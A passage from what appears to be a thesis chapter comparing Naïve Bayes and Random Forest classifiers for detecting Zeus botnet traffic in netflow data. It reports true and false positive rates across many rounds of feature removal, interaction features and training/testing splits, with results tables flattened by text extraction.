subset with eight Zeus netflows was used to test them. The Naïve Bayes classifier
detected all eight of the Zeus netflows, but with 12,178 false positives. The Random
Forest classifier detected none, but again with no false positives.
In summary, the results of both classifiers were influenced by which subset was used
for training and which was used for testing. The false positive rate of the Random Forest
classifier was zero for each data set, regardless of whether the larger or smaller subset
was used for training. This was better than the false positive rate of the Naïve Bayes
classifier in every case. The true positive rate of the Naïve Bayes classifier was better
than the true positive rate of the Random Forest classifier in every case. The
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performance of both classifiers was better when using 10-fold cross-validation across the
single data sets than when using separate training and testing subsets. The detection rate
of the Random Forest classifier decreased slightly with the larger data sets whereas the
detection rate of the Naïve Bayes classifier improved slightly.
For the next phase, the three data sets were again partitioned into separate training and
testing subsets, this time with the interaction feature added. The cycle of first training
with the larger of the subsets and testing with the smaller, followed by then training with
the smaller subset and testing with the larger was repeated. The results listed in Table 47 revealed 10 cases of improved performance and six cases of worsened performance.
The number of true positives and true positive rates for both classifiers increased using
the two-hour data set with added interaction feature when trained with the larger subset
and tested with the smaller. The number of false positives and false positive rate
increased for the Naïve Bayes classifier when the testing and training roles were reversed
for the subsets of the two-hour data set. Results using the 24-hour data set divided into
training and testing subsets with the interaction feature added revealed a decrease in the
number of false positives and false positive rate for the Naïve Bayes classifier and a
decrease in the number of true positives and true positive rate for the Random Forest
classifier. When the training and testing roles were reversed, the Naïve Bayes classifier
achieved more true positives and a higher true positive rate but with a corresponding
increase in false positives and false positive rate. Using the two-week data set partitioned
into training and testing subsets with the interaction feature added, the number of false
positives produced by the Naïve Bayes classifier decreased in both training and testing
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subset combinations. The performance of the Random Forest classifier did not change; it
did not detect any of the Zeus instances and did not produce any false positives.
Table 4-7. Round 2-2 Results
Added Interaction Feature; Separate Training/Testing Subsets
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2hr train/test

NB

863

7

5

.714

2

.002

2hr train/test

RF

863

7

5

.714

0

0

2hr test/train

NB

3450

8

6

.750

264

.077

2hr test/train

RF

3450

8

0

0

0

0

24hr train/test

NB

1560

7

5

.714

101

.065

24hr train/test

RF

1560

7

0

0

0

0

24hr test/train

NB

6240

8

8

1

371

.059

24hr test/train

RF

6240

8

0

0

0

0

2wk train/test

NB

56085

7

5

.714

1279

.023

2wk train/test

RF

56085

7

0

0

0

0

2wk test/train

NB

224338

8

8

1

12137

.054

2wk test/train

RF

224338

8

0

0

0

0

In general, the performance of the Naïve Bayes classifier was better than expected for
such a small number of training examples, though the difference in true positives when
the training and testing subsets were reversed was noticeable. The Random Forest
classifier had trouble detecting any of the Zeus netflows in the three data sets when
trained with the smaller subset and tested with the larger. In order to determine how
sensitive the classifier performance was to the chosen feature set, different features were
removed for the next set of experiments.
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Compare the performance of the classifiers with difference feature sets.
For this set of experiments, only the two-week data set was used. It was split in the
same proportion as before for the separate training and testing subsets. The Destination
Address (daddr) feature was removed from the previous feature set to form the first
reduced feature subset. The two-week data set contains 2886 distinct values for
Destination Address (daddr); however, the 15 Zeus netflows have only three. This
feature removal resulted in slightly different results from both classifiers using the 10fold cross-validation approach (Table 4-8). The Naïve Bayes classifier again detected 14
of 15 Zeus netflows, but with a higher number of false positives, 54,785 compared with
50,604 previously. The detection rate of the Random Forest classifier declined slightly. It
detected seven of 15 Zeus netflows compared with nine of 15 previously.
Table 4-8. Round 3-1 Results
No Interaction Feature; cross-validation; feature (daddr) removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk

NB

280423

15

14

.933

54785

.195

2wk

RF

280423

15

7

.467

0

0

When the interaction feature was added in for the next run (Table 4-9), the true
positive rate of the Naïve Bayes classifier remained constant, 14 of 15 Zeus netflows or
93%, but the number of false positives decreased slightly from 54,785 to 54,597. The
true positive rate of the Random Forest classifier improved from 47% to 60%, and it did
so without generating any false positives.
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Table 4-9. Round 3-2 Results
Added Interaction Feature; cross-validation; feature (daddr) Removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk

NB

280423

15

14

.933

54597

.195

2wk

RF

280423

15

9

.600

0

0

Results from this feature subset when the two-week data set was split into separate
subsets for training and testing revealed changes in the performance of the Naïve Bayes
classifier but not the Random Forest classifier (Table 4-10). The Naïve Bayes classifier
detected six of seven Zeus netflows compared with five of seven previously. However, it
did so with considerably more false positives, 5,489 compared with 1,291 previously.
When the training and testing roles were reversed, only the number of false positives
from the Naïve Bayes classifier changed, 12,685 compared with 12,178 previously.
Table 4-10. Round 4-1 Results
No interaction feature; separate training/testing subsets; feature (daddr) removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk train/test

NB

56085

7

6

.857

5489

.098

2wk train/test

RF

56085

7

0

0

0

0

2wk test/train

NB

224338

8

8

1

12685

.057

2wk test/train

RF

224338

8

0

0

0

0

Results from this feature subset and training split when the interaction feature was
added revealed a similar change in the performance of the Naïve Bayes classifier over the
original feature set, better true positive rate and worse false positive rate (Table 4-11).
The Naïve Bayes classifier detected six of seven Zeus netflows compared with five of
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seven previously, and with 5,463 false positives compared with 1,279 previously. When
compared with the results using this same feature set with without the interaction feature
added, the true positive rates remained the same but the number of false positives and
false positive rates decreased for the Naïve Bayes classifier for both training and testing
combinations.
Table 4-11. Round 4-2 Results
Added interaction feature; separate training/testing subsets; feature (daddr)
removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk train/test

NB

56085

7

6

.857

5463

.097

2wk train/test

RF

56085

7

0

0

0

0

2wk test/train

NB

224338

8

8

1

12652

.056

2wk test/train

RF

224338

8

0

0

0

0

For the next feature subset, the Source Type of Service (stos) and Destination Type of
Service (dtos) features were removed from the original feature set. The two-week data
set contains only three distinct values for stos and only five for destination dtos. The 15
Zeus netflows contain only one value for stos and two values for dtos, likely making
these more powerful features, at least for the Random Forest classifier. This feature
subset produced the results in Table 4-12. The Naïve Bayes classifier again detected 14
of 15 Zeus netflows, but this came at the cost of more false positives, 53,683 compared
with 50,604 in Round 1-1. The Random Forest classifier detected fewer Zeus netflows,
four of 15 compared with nine of 15 in Round 1-1, but maintained a zero false positive
rate.
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Table 4-12. Round 5-1 Results
No Interaction Feature; cross-validation; features (stos & dtos) removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk

NB

280423

15

14

.933

53683

.191

2wk

RF

280423

15

4

.267

0

0

Adding the interaction feature to this feature subset produced the results shown in
Table 4-13 below. The Naïve Bayes classifier again detected 14 of the 15 Zeus netflows
but with a slightly higher false positive rate than with the original feature set and slightly
lower false positive rate than without the interaction feature. The Random Forest
classifier detected fewer Zeus netflows, three of 15 compared with 10 of 15 using the full
feature set, but maintained a zero false positive rate. Removal of these nominal valued
features impacted the Random Forest classifier more than the Naïve Bayes classifier, and
the impact was negative compared with the full feature set. Even adding the interaction
feature did not improve the true positive rate of the Random Forest classifier in this case.
Table 4-13. Round 5-2 Results
Added interaction feature; cross-validation; features (stos & dtos) removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk

NB

280423

15

14

.933

53495

.191

2wk

RF

280423

15

3

.200

0

0

Splitting this reduced feature data set into subsets for training and testing produced the
results in Table 4-14 below. Only the results of the Naïve Bayes classifier differed from
the results with the full feature set, and only by a small number of false positives, 1,375
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compared with 1,291 in Round 1-1. When the training and testing roles were reversed,
the Naïve Bayes classifier again detected all eight Zeus netflows but with a higher
number of false positives, 13,357 compared with 12,178 previously. Again the Random
Forest classifier failed to detect any of the Zeus netflows and produced no false positives.
Table 4-14. Round 6-1 Results
No interaction feature; separate training/testing subsets; features (stos & dtos)
removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk train/test

NB

56085

7

5

.714

1375

.025

2wk train/test

RF

56085

7

0

0

0

0

2wk test/train

NB

224338

8

8

1

13357

.060

2wk test/train

RF

224338

8

0

0

0

0

Adding the interaction feature to this feature subset and splitting the data set into
separate training and testing subsets produced the results in Table 4-15 below. Again
only the performance of the Naïve Bayes classifier changed from Round 2-2; the Random
Forest classifier failed to detect any of the Zeus netflows. The Naïve Bayes classifier
produced more false positives than with the full feature set in both training and testing
combinations, but fewer false positives in both combinations than using this reduced
feature set without the interaction feature.
Table 4-15. Round 6-2 Results
Added interaction feature; separate training/testing subsets; features (stos & dtos)
removed
Data Set
2wk train/test

Classifier
NB

Benign

Zeus

True

TP

False

Instances

Instances

Positives

Rate Positives

Rate

56085

7

5

.714

.024

1372

FP
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2wk train/test

RF

56085

7

0

0

0

0

2wk test/train

NB

224338

8

8

1

13333

.059

2wk test/train

RF

224338

8

0

0

0

0

Finally, the (tcprtt, synack, ackdat) features were removed. Results are listed in Table
4-16. This reduced feature set resulted in performance declines for both classifiers. The
Naïve Bayes classifier achieved the same number of detections, 14 of 15, as in Round 11, but with a much larger number of false positives, 69,342 compared with 50,604. The
Random Forest classifier detected fewer Zeus netflows, seven of 15 compared with nine
of 15 in Round 1-1. The Random Forest classifier again produced no false positives.
Table 4-16. Round 7-1 Results
No interaction feature; cross-validation; features (tcprtt, synack, ackdat) removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk

NB

280423

15

14

.933

69342

.247

2wk

RF

280423

15

7

.467

0

0

When the interaction feature was added to this reduced feature set, the classifiers
produced the results in Table 4-17 below. The Naïve Bayes classifier again detected 14
of 15 Zeus netflows, same as with the full feature set and as with the reduced set without
the interaction features. Again it produced significantly more false positives than with
the full feature set, but fewer than with the reduced feature set without the interaction
feature. The Random Forest classifier detected 10 of 15 Zeus netflows, an improvement
over the results with the reduced feature set without the interaction features.
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Table 4-17. Round 7-2 Results
Added interaction feature; cross-validation; features (tcprtt, synack, ackdat)
removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk

NB

280423

15

14

.933

68929

.246

2wk

RF

280423

15

10

.667

0

0

Next, the data set was split into separate training and testing subsets (Table 4-18).
Again the true positive rate was the same and the false positive rate was higher for the
Naïve Bayes classifier in both training and testing combinations. The Random Forest
classifier again detected none of the Zeus netflows in the first combination. However,
when the training roles were reversed the Random Forest classifier did detect one of the
eight Zeus netflows compared with none using the full feature set in Round 2-1.
Table 4-18. Round 8-1 Results
No interaction feature; separate training/testing subsets; features (tcprtt, synack,
ackdat) removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk train/test

NB

56085

7

5

.714

2342

.042

2wk train/test

RF

56085

7

0

0

0

0

2wk test/train

NB

224338

8

8

1

61834

.276

2wk test/train

RF

224338

8

1

.125

0

0

Adding the interaction feature to this feature subset and splitting the data set into
separate training and testing subsets produced the results in Table 4-19 below. Again the
Naïve Bayes classifier detected five of the seven Zeus netflows, but with a higher number
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of false positives than with the full feature set in Round 2-2, and a slightly lower number
of false positives than without the interaction feature in Round 8-1. The Random Forest
classifier failed to detect any of the Zeus netflows, the same as with the full feature set in
Round 2-2 and with the reduced feature set without the interaction feature in Round 8-1.
When the training and testing roles were reversed, the results were similar for the Naïve
Bayes classifier, same detection rate with fewer false positives. The Random Forest
classifier failed to detect any of the Zeus netflows, which was the same as with the full
feature set in Round 2-2, but one less than with the reduced feature set without the
interaction feature in Round 8-1.
Table 4-19. Round 8-2 Results
Added interaction feature; separate training/testing subsets; features (tcprtt,
synack, ackdat) removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk train/test

NB

56085

7

5

.714

2338

.042

2wk train/test

RF

56085

7

0

0

0

0

2wk test/train

NB

224338

8

8

1

61565

.274

2wk test/train

RF

224338

8

0

0

0

0
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Compare the performance of the classifiers with a larger set of malicious samples
for training and testing.
For the next set of experiments, the size of the malicious data sample was increased
from 15 instances to 30 instances, as depicted in Table 4-20. The subsets included
netflows from multiple Destination Addresses (daddr), whereas only one of the subsets
did for the previous rounds (Table 4-3).
Table 4-20. Zeus Samples Used in Second Rounds of Experimentation
daddr
200.98.246.214
200.98.246.214
200.98.246.214
200.98.246.214
200.98.246.214
200.98.246.214
200.98.246.214
199.201.122.227
199.201.122.227
199.201.122.227
199.201.122.227
199.201.122.227
199.201.122.227
199.201.122.227
199.201.122.227
184.22.237.213
184.22.237.213
184.22.237.213
184.22.237.213
184.22.237.213
184.22.237.213
95.128.157.163
95.128.157.163
37.0.123.150
37.0.123.150
37.0.123.150
37.0.123.150
37.0.123.150
37.0.123.150

inet_aton(daddr)
3361928918
3361928918
3361928918
3361928918
3361928918
3361928918
3361928918
3351870179
3351870179
3351870179
3351870179
3351870179
3351870179
3351870179
3351870179
3088510421
3088510421
3088510421
3088510421
3088510421
3088510421
1602264483
1602264483
620788630
620788630
620788630
620788630
620788630
620788630

sport
1032
1032
1032
1035
1035
1040
1040
1033
1033
1036
1036
1040
1040
1040
1040
1032
1032
1032
1032
1038
1038
1031
1032
1034
1043
1044
1045
1046
1049

sbytes
3353
585
60
1712
60
8788
60
4123
120
894
120
922
7827
220
186
968
846
698
60
8742
60
804
904
901
1047
1792
1060
1060
4900
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37.0.123.150

620788630

1050

901

The next rounds of experimentation again used the larger, two-week data set
containing 280,423 benign netflows. The results of Round 9-1 using 10-fold crossvalidation within the data set, no interaction feature, and the original feature set are
depicted in Table 4-21 for comparison with the last two rows of Table 4-4 for Round 1-1.
Comparing the number of true positives is no longer relevant, given the change in total
Zeus netflows from 15 to 30, but comparing the true positive rate remains relevant. With
the larger set of Zeus netflows for cross-validation, the Naïve Bayes classifier produced a
higher true positive rate, 97% compared with 93% in Round 1-1. However, it did so at
the expense of a much higher number of false positives, 116,964 compared with 50,604
previously. The Random Forest classifier produced a higher true positive rate, 80%
compared with 60% in Round 1-1, while maintaining a zero false positive rate.
Table 4-21. Round 9-1 Results
No interaction feature; cross-validation, full feature set
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk

NB

280423

30

29

.967

116964

.417

2wk

RF

280423

30

24

.800

0

0

Adding the interaction feature for Round 9-2 produced the results in Table 4-22. The
Naïve Bayes classifier produced the same true positive rate improvement over the initial
Round 1-2 results, 97% compared with 93%, but again with a much higher number of
false positives, 116,633 compared with 50,348. However, the number of false positives
was less than without the interaction feature added in Round 9-1. The Random Forest
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classifier again produced a higher true positive rate over the initial Round 1-2 results,
83% compared with 67%. This was also a higher true positive rate than the 80% without
the interaction feature in Round 9-1 and without any false positives.
Table 4-22. Round 9-2 Results
Added interaction feature; cross-validation; full feature set
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk

NB

280423

30

29

.967

116633

.416

2wk

RF

280423

30

25

.833

0

0

Dividing the data set into subsets for training and testing in Round 10-1 produced the
results in Table 4-23 for comparison with the results of Round 2-1 in the last four rows of
Table 4-6. When trained with the larger subset and tested with the smaller, neither
classifier detected any of the 15 Zeus netflows. This represents no change to the zero
true positive rate for the Random Forest classifier in Round 2-1 but represents a
significant decrease in the true positive rate for the Naïve Bayes classifier, from 71% to
0%. The number of false positives produced by the Naïve Bayes classifier decreased
from 1,291 to 118, however. The Random Forest again produced no false positives.
When the training and testing roles were reversed, the Naïve Bayes classifier produced a
true positive rate of 80% compared with 100% in Round 2-2. It produced a much higher
number of false positives, 86,685 compared with 12,137. The Random Forest classifier
produced no true positives and no false positives, same as in Round 2-2.
Table 4-23. Round 10-1 Results
No interaction feature; separate training/testing subsets, full feature set
Data Set

Classifier

Benign

Zeus

True

TP

False

Instances

Instances

Positives

Rate Positives

FP
Rate
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2wk train/test

NB

56085

15

0

0

118

.002

2wk train/test

RF

56085

15

0

0

0

0

2wk test/train

NB

224338

15

12

.800

86685

.386

2wk test/train

RF

224338

15

0

0

0

0

Adding the interaction feature for Round 10-2 produced the results in Table 4-24.
This produced the exact same results as Round 10-1 for the first combination of training
and testing subsets. However, when the training and testing roles were reversed, the
Naïve Bayes classifier again produced an 80% true positive rate, but this time with
86,624 false positives which is significantly more than in Round 2-2 but less than without
the interaction feature in Round 10-1. The Random Forest classifier produced a true
positive rate of 15%, higher than the rate of zero from both Round 2-2 and Round 10-1.
It did so while maintaining a false positive rate of zero.
Table 4-24. Round 10-2 Results
Added interaction feature; separate training/testing subsets; full feature set
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk train/test

NB

56085

15

0

0

118

.002

2wk train/test

RF

56085

15

0

0

0

0

2wk test/train

NB

224338

15

12

.800

86624

.386

2wk test/train

RF

224338

15

2

.154

0

0

For Round 11-1 (Table 4-25), the Destination Address (daddr) feature was removed
from the full feature set and 10-fold cross-validation was used within the two-week data
set for comparison with the results of Round 1-1 and Round 3-1. The Naïve Bayes
classifier produced a true positive rate of 97%, which was an improvement over the 93%
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from both Round 1-1 and Round 3-1. However, it produced 119,574 false positives
which was significantly more than the 50,604 in Round 1-1 and 54,785 in Round 3-1.
The Random Forest classifier produced a true positive rate of 57% which was lower than
the 60% true positive rate of Round 1-1and higher than the 47% true positive rate of
Round 3-1. The Random Forest classifier maintained a false positive rate of zero.
Table 4-25. Round 11-1 Results
No interaction feature; cross-validation; feature (daddr) removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk

NB

280423

30

29

.967

119574

.426

2wk

RF

280423

30

17

.567

0

0

The interaction feature was added for Round 11-2 and the results are listed in Table 426. The Naïve Bayes classifier produced a true positive rate of 97%, same as without the
interaction feature in Round 11-1 and higher than the 93% rate in Round 1-2 and Round
3-2. It produced 119,328 false positives which was significantly more than the 50,348 of
Round 1-2and the 54,597 of Round 3-2 but less than the 119,574 in Round 11-1 without
the interaction feature. The Random Forest classifier produced a true positive rate of
67% which was the same as in Round 1-2, an improvement over the 60% in round 3-2,
and an improvement over the 57% true positive rate in Round 11-1 without the
interaction feature. The Random Forest classifier again produced no false positives.
Table 4-26. Round 11-2 Results
Added interaction feature; cross-validation; feature (daddr) removed
Data Set
2wk

Classifier
NB

Benign

Zeus

True

TP

False

Instances

Instances

Positives

Rate Positives

Rate

280423

30

29

.967

.426

119328

FP

122

2wk

RF

280423

30

20

.667

0

0

For Round 12-1 (Table 4-27), the reduced feature set was divided into separate
training and testing subsets for comparison with the results of Round 2-1 and Round 4-1.
The Naïve Bayes classifier produced a true positive rate of 60% compared with 71% in
Round 1-1 and 86% in Round 4-1 using the first combination of training and testing
subsets. It did so while producing 13,346 false positives compared with 1,291 in Round
2-1 and 5,489 in Round 4-1. When the training and testing subsets were reversed, the
Naïve Bayes classifier produced a true positive rate of 80% compared with 100% in both
Round 2-1 and Round 4-1. It produced 88,210 false positives compared with 12,178 in
Round 2-1 and 12,685 in Round 4-1. The Random Forest classifier produced no true
positives and no false positives with either combination of training and testing subsets.
This represented no change over the results of Round 2-1 or Round 4-2.
Table 4-27. Round 12-1 Results
No interaction feature; separate training/testing subsets; feature (daddr) removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk train/test

NB

56085

15

9

.600

13346

.238

2wk train/test

RF

56085

15

0

0

0

0

2wk test/train

NB

224338

15

12

.800

88210

.393

2wk test/train

RF

224338

15

0

0

0

0

For Round 12-2 of experimentation (Table 4-28), the interaction feature was added for
comparison with the results of Round 2-2, Round 4-2, and Round 12-1. The Naïve Bayes
classifier produced a true positive rate of 60% compared with 71% in Round 2-2, 86% in
Round 4-2, and the same 60% in Round 12-1 without the interaction feature. The Naïve
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Bayes classifier produced 13,323 false positives, considerably more than the 1,279 in
Round 2-2 and the 5,463 in Round 4-2, but less than the 13,346 of Round 12-1 without
the interaction feature. When the training and testing roles were reversed, the Naïve
Bayes classifier produced a true positive rate of 80% compared with 100% in both Round
2-2 and Round 4-2. It produced 88,039 false positives, again a significant increase over
the 12,137 of Round 2-2 and 12,652 of Round 4-2, but less than the 88,210 of Round 121 without the interaction feature. The Random Forest classifier again produced no true or
false positives for either combination of training and testing data subsets.
Table 4-28. Round 12-2 Results
Added interaction feature; separate training/testing subsets; feature (daddr)
removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk train/test

NB

56085

15

9

.600

13323

.238

2wk train/test

RF

56085

15

0

0

0

0

2wk test/train

NB

224338

15

12

.800

88039

.392

2wk test/train

RF

224338

15

0

0

0

0

For Round 13-1 (Table 4-29), the Source and Destination Type of Service (stos &
dtos) features were removed from the full feature set and 10-fold cross-validation was
used within the two-week data set for comparison with the results of Round 1-1 and
Round 5-1. The Naïve Bayes classifier produced a true positive rate of 97% compared
with 93% in both Round 1-1 and Round 5-1. It produced 125,694 false positives
compared with 50,604 in Round 1-1 and 53,683 in Round 5-1. The Random Forest
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classifier produced a true positive rate of 53% compared with 60% in Round 1-1 and
27% in Round 5-1, again with no false positives.
Table 4-29. Round 13-1 Results
No interaction feature; cross-validation; features (stos & dtos) removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk

NB

280423

30

29

.967

125694

.448

2wk

RF

280423

30

16

.533

0

0

The interaction feature was added for Round 13-2 for comparison with Round 1-2,
Round 5-2, and Round 13-1. Figure 4-30 depicts the results. The Naïve Bayes classifier
produced a true positive rate of 97% compared with 93% in both Round 1-1 and Round
5-1 and the same 97% in Round 13-1 without the interaction feature. It produced
125,531 false positives, significantly more than the 50,348 in Round 1-2 and 53,495 in
Round 5-2, but less than the 125,694 in Round 13-1 without the interaction feature. The
Random Forest classifier produced a true positive rate of 43% compared with 67% in
Round 1-2, 20% in Round 5-2, and 53% in Round 13-1 without the interaction feature.
The Random Forest classifier again produced no false positives.
Table 4-30. Round 13-2 Results
Added interaction feature; cross-validation; features (stos & dtos) removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk

NB

280423

30

29

.967

125531

.448

2wk

RF

280423

30

13

.433

0

0

For Round 13-1, the reduced feature set was divided into separate training and testing
subsets for comparison with the results of Round 2-1 and Round 6-1. Results are

125

presented in Table 4-31. The Naïve Bayes classifier produced a true positive rate of zero
compared with 71% in both Round 2-1 and Round 6-1. It produced 123 false positives
compared with 1,291 in Round 2-1 and 1,375 in Round 6-1. When the training and
testing roles were reversed, the Naïve Bayes classifier produced a true positive rate of
73% compared with 100% in both Round 2-1 and Round 6-1. It produced 95,224 false
positives compared with 12,178 in Round 2-1 and 13,357 in Round 6-1. The Random
Forest classifier produced no true positives and no false positives with either combination
of training and testing data subsets.
Table 4-31. Round 14-1 Results
No interaction feature; separate training/testing subsets; features (stos & dtos)
removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk train/test

NB

56085

15

0

0

123

.002

2wk train/test

RF

56085

15

0

0

0

0

2wk test/train

NB

224338

15

11

.733

95224

.424

2wk test/train

RF

224338

15

0

0

0

0

The interaction feature was added for Round 14-2 for comparison with Round 2-2,
Round 6-2, and Round 14-1. Results are presented in Table 4-32. Again the Naïve
Bayes classifier produced a true positive rate of zero compared with 71% in Round 2-2
and Round 6-2. It produced 121 false positives compared with 12,137 in Round 2-2 and
13,333 in Round 6-2, and 123 in Round 14-1 without the interaction feature. When the
training and testing roles were reversed, the Naïve Bayes classifier produced a true
positive rate of 80% compared with 100% in both Round 2-2 and Round 6-2 and 73% in
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Round 14-1 without the interaction feature. It produced 95,172 false positives,
significantly more than the 12,137 in Round 2-2 and the 13,333 in Round 6-2, but less
than the 95,224 in Round 14-1 without the interaction feature.
Table 4-32. Round 14-2 Results
Added interaction feature; separate training/testing subsets; features (stos & dtos)
removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk train/test

NB

56085

15

0

0

121

.002

2wk train/test

RF

56085

15

0

0

0

0

2wk test/train

NB

224338

15

12

.800

95172

.424

2wk test/train

RF

224338

15

0

0

0

0

For Round 15-1 (Table 4-33), three features (tcprtt, synack, ackdat) were removed
from the full feature set and 10-fold cross-validation was used within the two-week data
set for comparison with the results of Round 1-1 and Round 7-1. The Naïve Bayes
classifier produced a true positive rate of 97% compared with 93% in both Round 1-1 and
Round 7-1. It produced 144,355 false positives, significantly more than the 50,604 in
Round 1-1 and the 69,342 in Round 7-1. The Random Forest classifier produced a true
positive rate of 80% compared with 60% in Round 1-1 and 47% in Round 7-1. The
Random Forest classifier again produced no false positives.
Table 4-33. Round 15-1 Results
No interaction feature; cross-validation; features (tcprtt, synack, ackdat) removed
Data Set
2wk

Classifier
NB

Benign

Zeus

True

TP

False

Instances

Instances

Positives

Rate Positives

Rate

280423

30

29

.967

.515

144355

FP
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2wk

RF

280423

30

24

.800

0

0

The interaction feature was added for Round 15-2 for comparison with Round 1-2,
Round 7-2, and Round 15-1. Results are presented in Table 4-34. The Naïve Bayes
classifier produced a true positive rate of 97% compared with 93% in both Round 1-2 and
Round 7-2 and the same 97% in Round 15-1 without the interaction feature. It produced
143,771 false positives, considerably more than the 50,348 in Round 1-2 and 68,929 in
Round 7-2, but less than the 144,355 in Round 15-1. The Random Forest classifier
produced a true positive rate of 80% compared with 67% in both Round 1-2 and Round
7-2, and the same 80% in Round 15-1 without the interaction feature. The Random
Forest classifier again produced no false positives.
Table 4-34. Round 15-2 Results
Added interaction feature; cross-validation; features (tcprtt, synack, ackdat)
removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk

NB

280423

30

29

.967

143771

.513

2wk

RF

280423

30

24

.800

0

0

For Round 16-1 the reduced feature set was divided into separate training and testing
subsets for comparison with the results of Round 2-1 and Round 8-1. Results are
presented in Table 4-35. The Naïve Bayes classifier produced a true positive rate of zero
compared with 71% in both Round 2-1 and Round 8-1. It produced 173 false positives
compared with 1,291 in Round 2-1 and 2,342 in Round 8-1. When the training and
testing roles were reversed, the Naïve Bayes classifier produced a true positive rate of
80% compared with 100% in both Round 2-1 and Round 8-1. It did so while producing

128

106,270 false positives compared with 12,178 in Round 2-1 and 61,834 in Round 8-1.
The Random Forest classifier produced no true positives and no false positives for either
combination of training and testing data subsets.
Table 4-35. Round 16-1 Results
No interaction feature; separate training/testing subsets; features (tcprtt, synack,
ackdat) removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk train/test

NB

56085

15

0

0

173

.003

2wk train/test

RF

56085

15

0

0

0

0

2wk test/train

NB

224338

15

12

.800

106270

.474

2wk test/train

RF

224338

15

0

0

0

0

The interaction feature was added for Round 16-2 for comparison with Round 2-2,
Round 8-2, and Round 16-1. Results are presented in Table 4-36. The Naïve Bayes
classifier produced a true positive rate of zero compared with 100% in both Round 2-2
and Round 8-2, and the same zero rate in Round 16-1. It produced 169 false positives,
significantly less than the 1,279 in Round 2-2 and 2,338 in Round 8-2, and slightly less
than the 173 in Round 16-1. When the training and testing roles were reversed, the Naïve
Bayes classifier produced a true positive rate of 80% compared with 100% in both Round
2-2 and Round 8-2, and the same 80% in Round 16-1 without the interaction feature. It
produced 108,108 false positives which was significantly more than the 12,137 in Round
2-2 and the 61,565 in Round 8-2, and also more than the 106,270 in Round 16-1 without
the interaction feature.
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Table 4-36. Round 16-2 Results
Added interaction feature; separate training/testing subsets; features (tcprtt,
synack, ackdat) removed
Data Set

Classifier

Benign

Zeus

True

TP

False

FP

Instances

Instances

Positives

Rate Positives

Rate

2wk train/test

NB

56085

15

0

0

169

.003

2wk train/test

RF

56085

15

0

0

0

0

2wk test/train

NB

224338

15

12

.800

108108

.482

2wk test/train

RF

224338

15

0

0

0

0

Change the ratio of training to testing instances
For the next rounds of experiments, the number of Zeus instances in the training and
testing subsets was changed, as depicted by the shading in Table 4-37. The purpose was
to compare results of varying the size and content of the training and test subsets,
therefore the cross-validation rounds were not repeated.
Table 4-37. Zeus Samples Used in Third Rounds of Experimentation
daddr
200.98.246.214
200.98.246.214
200.98.246.214
200.98.246.214
200.98.246.214
200.98.246.214
200.98.246.214
199.201.122.227
199.201.122.227
199.201.122.227
199.201.122.227
199.201.122.227
199.201.122.227
199.201.122.227

inet_aton(daddr)
3361928918
3361928918
3361928918
3361928918
3361928918
3361928918
3361928918
3351870179
3351870179
3351870179
3351870179
3351870179
3351870179
3351870179

sport
1032
1032
1032
1035
1035
1040
1040
1033
1033
1036
1036
1040
1040
1040

sbytes
3353
585
60
1712
60
8788
60
4123
120
894
120
922
7827
220
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199.201.122.227
184.22.237.213
184.22.237.213
184.22.237.213
184.22.237.213
184.22.237.213
184.22.237.213
95.128.157.163
95.128.157.163
37.0.123.150
37.0.123.150
37.0.123.150
37.0.123.150
37.0.123.150
37.0.123.150
37.0.123.150

3351870179
3088510421
3088510421
3088510421
3088510421
3088510421
3088510421
1602264483
1602264483
620788630
620788630
620788630
620788630
620788630
620788630
620788630

1040
1032
1032
1032
1032
1038
1038
1031
1032
1034
1043
1044
1045
1046
1049
1050

186
968
846
698
60
8742
60
804
904
901
1047
1792
1060
1060
4900
901

For Round 17-1 the full feature set was used. Resulted are presented in Table 4-38.
The two-week data set was divided into training and testing subsets in the same
proportion of benign netflows as before, but the number of Zeus netflows was split at 21
and nine, compared with 15 and 15 in Round 10-1. When training with the larger subset
containing the larger number of Zeus netflows, the Naïve Bayes classifier produced a
zero true positive rate, just as it had in Round 10-1. However, it produced 2,428 false
positives compared to only 118 before. When the training and testing roles were reversed,
